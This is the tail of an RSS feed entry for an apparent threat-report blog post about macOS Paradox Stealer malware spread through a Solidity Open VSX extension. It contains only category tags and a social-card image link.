]]></content:encoded><category>Cursor</category><category>Open VSX</category><category>Paradox Stealer</category><category>SleepyDuck</category><category>Infostealer</category><category>Threat Report</category><media:content url="https://phorion.io/blog/macos-paradox-stealer-used-in-solidity-open-vsx-extension-attack/social-card.png" medium="image"/></item></channel></rss>